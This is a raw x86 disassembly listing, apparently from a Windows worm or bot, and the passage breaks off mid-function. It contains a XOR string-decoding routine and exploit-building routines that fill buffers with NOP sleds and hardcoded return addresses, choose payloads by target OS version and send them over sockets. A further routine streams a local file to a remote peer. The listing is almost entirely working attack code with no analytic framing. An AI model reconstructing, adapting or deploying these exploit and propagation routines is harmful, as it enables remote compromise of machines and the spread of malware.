sub_4105AD	proc near		; CODE XREF: sub_406E8E+C6p
					; sub_406E8E+14Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jle	short loc_4105BE
		jmp	short locret_4105F9
; ---------------------------------------------------------------------------

loc_4105BE:				; CODE XREF: sub_4105AD+Dj
		and	[ebp+var_4], 0
		jmp	short loc_4105CB
; ---------------------------------------------------------------------------

loc_4105C4:				; CODE XREF: sub_4105AD+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_4105CB:				; CODE XREF: sub_4105AD+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_4105F9
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAF0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_4105C4
; ---------------------------------------------------------------------------

locret_4105F9:				; CODE XREF: sub_4105AD+Fj
					; sub_4105AD+29j
		leave
		retn
sub_4105AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4105FB	proc near		; CODE XREF: sub_401000+4Ap
					; sub_4043E9+1Ap ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		movzx	eax, byte ptr [eax]
		cmp	eax, 7Fh
		jg	short loc_41060C
		jmp	short locret_410647
; ---------------------------------------------------------------------------

loc_41060C:				; CODE XREF: sub_4105FB+Dj
		and	[ebp+var_4], 0
		jmp	short loc_410619
; ---------------------------------------------------------------------------

loc_410612:				; CODE XREF: sub_4105FB+4Aj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_410619:				; CODE XREF: sub_4105FB+15j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jz	short locret_410647
		mov	eax, [ebp+var_4]
		cdq
		push	10h
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		mov	al, [eax]
		xor	al, byte_41EAF0[edx]
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	[ecx], al
		jmp	short loc_410612
; ---------------------------------------------------------------------------

locret_410647:				; CODE XREF: sub_4105FB+Fj
					; sub_4105FB+29j
		leave
		retn
sub_4105FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410649	proc near		; DATA XREF: .data:off_41CCFEo

var_1B78	= dword	ptr -1B78h
var_1B74	= byte ptr -1B74h
var_B74		= byte ptr -0B74h
var_B6C		= dword	ptr -0B6Ch
var_B64		= dword	ptr -0B64h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= byte ptr -36Ch
var_280		= byte ptr -280h
var_276		= byte ptr -276h
var_272		= byte ptr -272h
var_23A		= byte ptr -23Ah
var_236		= byte ptr -236h
var_232		= byte ptr -232h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 1B78h
		call	sub_416BC0
		push	48h
		push	offset dword_41A7B0
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410686
		jmp	locret_410B50
; ---------------------------------------------------------------------------

loc_410686:				; CODE XREF: sub_410649+36j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_370], eax
		cmp	[ebp+var_370], 0
		jnz	short loc_4106F0
		jmp	locret_410B50
; ---------------------------------------------------------------------------

loc_4106F0:				; CODE XREF: sub_410649+A0j
		and	[ebp+var_374], 0
		jmp	short loc_410706
; ---------------------------------------------------------------------------

loc_4106F9:				; CODE XREF: sub_410649+E1j
		mov	eax, [ebp+var_374]
		inc	eax
		mov	[ebp+var_374], eax

loc_410706:				; CODE XREF: sub_410649+AEj
		cmp	[ebp+var_374], 168h
		jge	short loc_41072C
		push	7Ah
		push	61h
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_374]
		mov	[ebp+ecx+var_36C], al
		jmp	short loc_4106F9
; ---------------------------------------------------------------------------

loc_41072C:				; CODE XREF: sub_410649+C7j
		push	0Ah
		push	offset loc_41A8A0
		lea	eax, [ebp+var_280]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8F0
		lea	eax, [ebp+var_276]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset loc_41A8E8
		lea	eax, [ebp+var_272]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	2
		push	offset loc_41A8EC
		lea	eax, [ebp+var_23A]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	(offset	loc_41A8E3+1)
		lea	eax, [ebp+var_236]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0Bh
		push	offset loc_41A894
		lea	eax, [ebp+var_232]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E6h
		sub	eax, [ebp+var_370]
		mov	[ebp+var_204], eax
		and	[ebp+var_1B78],	0
		push	18h
		push	offset dword_41A7FC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 18h
		mov	[ebp+var_1B78],	eax
		push	44h
		push	offset dword_41A818
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 44h
		mov	[ebp+var_1B78],	eax
		push	20h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 20h
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8AC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8E0
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset dword_41A8D8
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8DC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	58h
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 58h
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8B4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	8
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 8
		mov	[ebp+var_1B78],	eax
		push	4
		push	offset loc_41A8BC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	4
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 4
		mov	[ebp+var_1B78],	eax
		push	6
		push	offset loc_41A8C4
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 6
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_204]
		push	0FFFFFF90h
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_204]
		mov	[ebp+var_1B78],	eax
		push	[ebp+var_370]
		lea	eax, [ebp+var_200]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, [ebp+var_370]
		mov	[ebp+var_1B78],	eax
		push	168h
		lea	eax, [ebp+var_36C]
		push	eax
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 168h
		mov	[ebp+var_1B78],	eax
		push	0Ah
		push	offset off_41A8CC
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 0Ah
		mov	[ebp+var_1B78],	eax
		push	32h
		push	offset dword_41A860
		mov	eax, [ebp+var_1B78]
		lea	eax, [ebp+eax+var_B74]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, [ebp+var_1B78]
		add	eax, 32h
		mov	[ebp+var_1B78],	eax
		mov	eax, [ebp+var_1B78]
		mov	[ebp+var_B6C], eax
		mov	eax, [ebp+var_1B78]
		sub	eax, 18h
		mov	[ebp+var_B64], eax
		push	[ebp+var_1B78]
		lea	eax, [ebp+var_B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	0EA60h
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_410B36
		jmp	short locret_410B50
; ---------------------------------------------------------------------------

loc_410B36:				; CODE XREF: sub_410649+4E9j
		push	0
		push	1000h
		lea	eax, [ebp+var_1B74]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	dword_417248	; recv

locret_410B50:				; CODE XREF: sub_410649+38j
					; sub_410649+A2j ...
		leave
		retn
sub_410649	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B52	proc near		; DATA XREF: .data:0041CD38o

var_104C	= byte ptr -104Ch
var_FC6		= byte ptr -0FC6h
var_BDE		= byte ptr -0BDEh
var_B9E		= byte ptr -0B9Eh
var_B7C		= dword	ptr -0B7Ch
var_B78		= byte ptr -0B78h
var_AF2		= byte ptr -0AF2h
var_88E		= byte ptr -88Eh
var_882		= byte ptr -882h
var_85E		= byte ptr -85Eh
var_852		= byte ptr -852h
var_82E		= byte ptr -82Eh
var_80C		= byte ptr -80Ch
var_7CC		= byte ptr -7CCh
var_7C8		= byte ptr -7C8h
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_204		= byte ptr -204h
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 104Ch
		call	sub_416BC0
		push	7
		push	offset dword_41A7A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+2Ah]
		mov	eax, [ebp+arg_0]
		add	eax, 146h
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, 0C6h
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+0C2h]
		push	200h
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_4125DF
		add	esp, 20h
		mov	[ebp+var_20C], eax
		cmp	[ebp+var_20C], 0
		jnz	short loc_410BAF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410BAF:				; CODE XREF: sub_410B52+56j
		push	89h
		push	offset dword_41AF50
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410BEF
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410BEF:				; CODE XREF: sub_410B52+96j
		push	0A8h
		push	offset dword_41AFDC
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C2F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410C2F:				; CODE XREF: sub_410B52+D6j
		push	0DEh
		push	offset dword_41B088
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410C6F
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410C6F:				; CODE XREF: sub_410B52+116j
		movsx	eax, [ebp+var_7CC]
		sub	eax, 30h
		mov	[ebp+var_208], al
		movsx	eax, [ebp+var_7C8]
		sub	eax, 30h
		mov	[ebp+var_4], al
		push	3Eh
		push	offset dword_41B168
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410CC9
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410CC9:				; CODE XREF: sub_410B52+170j
		push	60h
		push	offset dword_41B1A8
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D06
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410D06:				; CODE XREF: sub_410B52+1ADj
		push	0A0h
		push	offset dword_41B20C
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	2710h
		push	600h
		lea	eax, [ebp+var_80C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_405443
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410D46
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410D46:				; CODE XREF: sub_410B52+1EDj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	loc_410E71
		movsx	eax, [ebp+var_4]
		cmp	eax, 1
		jnz	loc_410E71
		push	86h
		push	offset dword_41B2B0
		lea	eax, [ebp+var_B78]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_AF2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	0
		mov	eax, 264h
		sub	eax, [ebp+var_20C]
		add	eax, 60h
		push	eax
		mov	eax, [ebp+var_20C]
		lea	eax, [ebp+eax+var_AF2]
		push	eax
		call	sub_410F60
		add	esp, 0Ch
		push	4
		push	offset dword_41B410
		lea	eax, [ebp+var_88E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_882]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_85E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4
		push	offset dword_41B408
		lea	eax, [ebp+var_852]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	20h
		push	offset dword_41B338
		lea	eax, [ebp+var_82E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		push	400h
		call	dword_41709C	; Sleep
		push	36Ah
		lea	eax, [ebp+var_B78]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch
		jmp	locret_410F5E
; ---------------------------------------------------------------------------

loc_410E71:				; CODE XREF: sub_410B52+1FEj
					; sub_410B52+20Bj
		movsx	eax, [ebp+var_208]
		cmp	eax, 5
		jnz	short loc_410E85
		movsx	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_410E95

loc_410E85:				; CODE XREF: sub_410B52+329j
		movsx	eax, [ebp+var_208]
		cmp	eax, 4
		jnz	locret_410F5E

loc_410E95:				; CODE XREF: sub_410B52+331j
		push	86h
		push	offset dword_41B35C
		lea	eax, [ebp+var_104C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	eax, 3E8h
		sub	eax, [ebp+var_20C]
		push	eax
		push	90h
		lea	eax, [ebp+var_FC6]
		push	eax
		call	sub_416B6A	; memset
		add	esp, 0Ch
		push	[ebp+var_20C]
		lea	eax, [ebp+var_204]
		push	eax
		lea	eax, [ebp+var_BDE]
		sub	eax, [ebp+var_20C]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		and	[ebp+var_B7C], 0
		jmp	short loc_410F06
; ---------------------------------------------------------------------------

loc_410EF9:				; CODE XREF: sub_410B52+3DAj
		mov	eax, [ebp+var_B7C]
		inc	eax
		mov	[ebp+var_B7C], eax

loc_410F06:				; CODE XREF: sub_410B52+3A5j
		cmp	[ebp+var_B7C], 10h
		jge	short loc_410F2E
		push	4
		push	offset dword_41B408
		mov	eax, [ebp+var_B7C]
		lea	eax, [ebp+eax*4+var_BDE]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		jmp	short loc_410EF9
; ---------------------------------------------------------------------------

loc_410F2E:				; CODE XREF: sub_410B52+3BBj
		push	20h
		push	offset dword_41B3E4
		lea	eax, [ebp+var_B9E]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	4CEh
		lea	eax, [ebp+var_104C]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+3Eh]
		call	sub_4053BF
		add	esp, 0Ch

locret_410F5E:				; CODE XREF: sub_410B52+58j
					; sub_410B52+98j ...
		leave
		retn
sub_410B52	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F60	proc near		; CODE XREF: sub_410B52+265p

var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		cmp	[ebp+arg_8], 0
		jnz	short loc_410FA4
		and	[ebp+var_4], 0
		jmp	short loc_410F79
; ---------------------------------------------------------------------------

loc_410F72:				; CODE XREF: sub_410F60+3Dj
		mov	eax, [ebp+var_4]
		inc	eax
		mov	[ebp+var_4], eax

loc_410F79:				; CODE XREF: sub_410F60+10j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410F9F
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_4]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410F72
; ---------------------------------------------------------------------------

loc_410F9F:				; CODE XREF: sub_410F60+1Fj
		jmp	locret_41102D
; ---------------------------------------------------------------------------

loc_410FA4:				; CODE XREF: sub_410F60+Aj
		cmp	[ebp+arg_8], 7Fh
		jnz	short loc_410FDF
		and	[ebp+var_8], 0
		jmp	short loc_410FB7
; ---------------------------------------------------------------------------

loc_410FB0:				; CODE XREF: sub_410F60+7Bj
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax

loc_410FB7:				; CODE XREF: sub_410F60+4Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnb	short loc_410FDD
		push	5
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_8]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		jmp	short loc_410FB0
; ---------------------------------------------------------------------------

loc_410FDD:				; CODE XREF: sub_410F60+5Dj
		jmp	short locret_41102D
; ---------------------------------------------------------------------------

loc_410FDF:				; CODE XREF: sub_410F60+48j
		and	[ebp+var_C], 0

loc_410FE3:				; CODE XREF: sub_410F60+ADj
					; sub_410F60+CBj
		mov	eax, [ebp+var_C]
		cmp	eax, [ebp+arg_4]
		jnb	short locret_41102D
		push	20h
		push	0
		call	sub_4103F5
		pop	ecx
		pop	ecx
		mov	[ebp+var_10], al
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_8]
		and	ecx, dword_41BB01[eax]
		test	ecx, ecx
		jz	short loc_41100F
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

loc_41100F:				; CODE XREF: sub_410F60+ABj
		movsx	eax, [ebp+var_10]
		imul	eax, 5
		mov	ecx, [ebp+arg_0]
		add	ecx, [ebp+var_C]
		mov	al, byte_41BB00[eax]
		mov	[ecx], al
		mov	eax, [ebp+var_C]
		inc	eax
		mov	[ebp+var_C], eax
		jmp	short loc_410FE3
; ---------------------------------------------------------------------------

locret_41102D:				; CODE XREF: sub_410F60:loc_410F9Fj
					; sub_410F60:loc_410FDDj ...
		leave
		retn
sub_410F60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41102F	proc near		; CODE XREF: sub_41113B+79Bp

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	0EA60h
		push	0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_4050EA
		add	esp, 10h
		mov	[ebp+var_204], eax
		cmp	[ebp+var_204], 0
		jz	short loc_411065
		cmp	[ebp+var_204], 0FFFFFFFFh
		jnz	short loc_41106C

loc_411065:				; CODE XREF: sub_41102F+2Bj
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------

loc_41106C:				; CODE XREF: sub_41102F+34j
		push	offset aRb	; "rb"
		push	offset dword_41EB2C
		call	sub_416B88	; fopen
		pop	ecx
		pop	ecx
		mov	[ebp+var_208], eax
		cmp	[ebp+var_208], 0
		jnz	short loc_41109F
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		xor	eax, eax
		jmp	locret_411139
; ---------------------------------------------------------------------------

loc_41109F:				; CODE XREF: sub_41102F+5Bj
					; sub_41102F:loc_41111Cj
		mov	eax, [ebp+var_208]
		mov	eax, [eax+0Ch]
		and	eax, 10h
		test	eax, eax
		jnz	short loc_41111E
		push	[ebp+var_208]
		push	200h
		push	1
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_416B90	; fread
		add	esp, 10h
		mov	[ebp+var_20C], eax
		push	[ebp+var_20C]
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+var_204]
		call	sub_4053BF
		add	esp, 0Ch
		mov	[ebp+var_210], eax
		mov	eax, [ebp+var_20C]
		cmp	eax, [ebp+var_210]
		jz	short loc_41111C
		push	[ebp+var_204]
		call	sub_4053B1
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		xor	eax, eax
		jmp	short locret_411139
; ---------------------------------------------------------------------------

loc_41111C:				; CODE XREF: sub_41102F+CFj
		jmp	short loc_41109F
; ---------------------------------------------------------------------------

loc_41111E:				; CODE XREF: sub_41102F+7Ej
		push	[ebp+var_204]
		call	sub_40538D
		pop	ecx
		push	[ebp+var_208]
		call	sub_416B82	; fclose
		pop	ecx
		push	1
		pop	eax

locret_411139:				; CODE XREF: sub_41102F+38j
					; sub_41102F+6Bj ...
		leave
		retn
sub_41102F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41113B	proc near		; DATA XREF: sub_411BBC+156o

var_558		= dword	ptr -558h
var_554		= dword	ptr -554h
var_550		= dword	ptr -550h
var_54C		= dword	ptr -54Ch
var_548		= dword	ptr -548h
var_544		= dword	ptr -544h
var_540		= byte ptr -540h
var_53C		= byte ptr -53Ch
var_538		= byte ptr -538h
var_534		= dword	ptr -534h
var_530		= byte ptr -530h
var_52C		= dword	ptr -52Ch
var_528		= dword	ptr -528h
var_524		= dword	ptr -524h
var_520		= dword	ptr -520h
var_51C		= dword	ptr -51Ch
var_518		= byte ptr -518h
var_318		= byte ptr -318h
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_113		= byte ptr -113h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= byte ptr -104h
var_103		= byte ptr -103h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 558h
		push	edi
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10C], eax
		push	offset dword_41C6B0
		push	200h
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416BAE	; _snprintf
		add	esp, 0Ch
		lea	eax, [ebp+var_518]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+var_518]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053BF
		add	esp, 0Ch
		mov	al, byte_41DE30
		mov	[ebp+var_104], al
		push	3Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_103]
		rep stosd
		stosw
		stosb
		mov	al, byte_41DE30
		mov	[ebp+var_114], al
		xor	eax, eax
		lea	edi, [ebp+var_113]
		stosd
		stosb
		and	[ebp+var_4], 0
		and	[ebp+var_118], 0
		and	[ebp+var_108], 0

loc_4111CC:				; CODE XREF: sub_41113B+10Cj
					; sub_41113B+1BDj ...
		push	0EA60h
		push	[ebp+var_10C]
		call	sub_40546E
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_4119BA
		push	200h
		lea	eax, [ebp+var_318]
		push	eax
		push	[ebp+var_10C]
		call	sub_4053DC
		add	esp, 0Ch
		mov	[ebp+var_520], eax
		cmp	[ebp+var_520], 0
		jz	short loc_411218
		cmp	[ebp+var_520], 0FFFFFFFFh
		jnz	short loc_41121D

loc_411218:				; CODE XREF: sub_41113B+D2j
		jmp	loc_4119BA
; ---------------------------------------------------------------------------

loc_41121D:				; CODE XREF: sub_41113B+DBj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		lea	eax, [ebp+var_318]
		push	eax
		call	sub_40813C
		add	esp, 0Ch
		mov	[ebp+var_528], eax
		cmp	[ebp+var_528], 0
		jnz	short loc_411249
		jmp	short loc_4111CC
; ---------------------------------------------------------------------------

loc_411249:				; CODE XREF: sub_41113B+10Aj
		lea	eax, [ebp+var_108]
		push	eax
		push	offset dword_41C6AC
		push	0
